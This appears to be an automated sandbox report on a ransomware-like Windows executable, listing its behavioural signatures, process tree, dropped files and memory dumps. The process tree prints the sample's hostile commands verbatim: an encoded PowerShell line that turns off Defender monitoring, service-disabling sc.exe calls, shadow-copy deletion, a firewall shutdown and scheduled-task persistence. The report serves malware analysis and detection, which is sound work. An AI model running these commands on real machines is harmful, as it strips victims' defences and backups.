Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/05/2026, 00:42

General

  • Target
    theguide.io_hybers.exe
  • Size 49KB
  • Sample260508-a2bmesfx2q
  • SHA256 46001374437ea0159df7ecab8f6e9868a130779460a93cd98174ac8657812746
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\theguide.io_hybers.exe
    "C:\Users\Admin\AppData\Local\Temp\theguide.io_hybers.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2524
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4436
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1028
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:3868
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2736
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3412
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5256
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:6012
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3160
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5220
      • C:\Users\Admin\AppData\Local\Temp\theguide.io_hybers.exe
        "C:\Users\Admin\AppData\Local\Temp\theguide.io_hybers.exe"
        3⤵
          PID:4924
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:2772
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\theguide.io_hybers.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4872
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1028
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:1148
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5492
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5320
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:3424
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5636
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2108
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5728
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4112
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5356
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2180
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:2432
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5840
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:5844
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3464
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:388
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\theguide.io_hybers.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3088
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:5560
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:5364
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:2204
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3484
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1344
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:5172
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:6056
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:3084
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:1820
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a22055 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:4712
              • C:\Users\Admin\AppData\Local\Temp\theguide.io_hybers.exe
                C:\Users\Admin\AppData\Local\Temp\theguide.io_hybers.exe
                1⤵
                  PID:4904
                • C:\Users\Admin\AppData\Local\Temp\theguide.io_hybers.exe
                  C:\Users\Admin\AppData\Local\Temp\theguide.io_hybers.exe
                  1⤵
                    PID:1600
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5892

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 66KB
                        • SHA256 82335c3bca2596356e811882287e2f1cfbd20706a472ef04f4907925bc7123cd
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 66KB
                        • SHA256 a343ca6808b20c5bac5a72434fc54c5bbde7c5f359f510a64be14674a0499caa
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        theguide.io_hybers.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\theguide.io_hybers.exe.log
                        • Size 660B
                        • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_bya0mlo2.ctw.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bya0mlo2.ctw.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 243B
                        • SHA256 b1d7682cfae10ffdc0b27232aa1a55968e89dc12e6a204fb393cbcb17ae48e16
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 244B
                        • SHA256 8c32ad9f29e94972f7cec2d3e569e7c46fb5dd193ff0be78b89158ad66797e42
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 49KB
                        • SHA256 46001374437ea0159df7ecab8f6e9868a130779460a93cd98174ac8657812746
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/2524-2246-0x000001F8E4510000-0x000001F8E451A000-memory.dmp

                        memory/2524-2276-0x000001F8CB7C0000-0x000001F8CB7CC000-memory.dmp

                        memory/2524-2136-0x000001F8E4350000-0x000001F8E435A000-memory.dmp

                        memory/2524-1983-0x000001F8E4270000-0x000001F8E428C000-memory.dmp

                        memory/2524-2266-0x000001F8CB960000-0x000001F8CB968000-memory.dmp

                        memory/2524-2234-0x000001F8E4530000-0x000001F8E454C000-memory.dmp

                        memory/2524-363-0x000001F8CBED0000-0x000001F8CBEF2000-memory.dmp

                        memory/2524-2273-0x000001F8E4560000-0x000001F8E456A000-memory.dmp

                        memory/2524-2272-0x000001F8E4550000-0x000001F8E4556000-memory.dmp

                        memory/2524-2023-0x000001F8E4290000-0x000001F8E4343000-memory.dmp

                        memory/2524-2268-0x000001F8E44B0000-0x000001F8E4506000-memory.dmp

                        memory/2524-2271-0x000001F8E4520000-0x000001F8E4528000-memory.dmp

                        memory/2524-2279-0x000001F8E44B0000-0x000001F8E4506000-memory.dmp

                        memory/2524-2260-0x000001F8E4570000-0x000001F8E458A000-memory.dmp

                        memory/2524-2265-0x000001F8CB7C0000-0x000001F8CB7CC000-memory.dmp

                        memory/2524-2267-0x000001F8CB970000-0x000001F8CB982000-memory.dmp

                        memory/2772-2232-0x000001CDDB700000-0x000001CDDB70C000-memory.dmp

                        memory/4724-2263-0x000000001D890000-0x000000001D8A2000-memory.dmp

                        memory/4724-2262-0x000000001D360000-0x000000001D368000-memory.dmp

                        memory/4724-2261-0x0000000001300000-0x000000000130C000-memory.dmp

                        memory/4724-0-0x00000000009C0000-0x00000000009D2000-memory.dmp

                        memory/4724-2269-0x0000000001310000-0x0000000001320000-memory.dmp

                        memory/4724-3-0x000000001E220000-0x000000001E748000-memory.dmp

                        memory/4724-2-0x000000001E050000-0x000000001E212000-memory.dmp

                        memory/4724-1-0x0000000001310000-0x0000000001320000-memory.dmp

                        memory/5364-2247-0x000002358C8C0000-0x000002358C8C1000-memory.dmp

                        memory/5560-2245-0x00000199153F0000-0x00000199153FC000-memory.dmp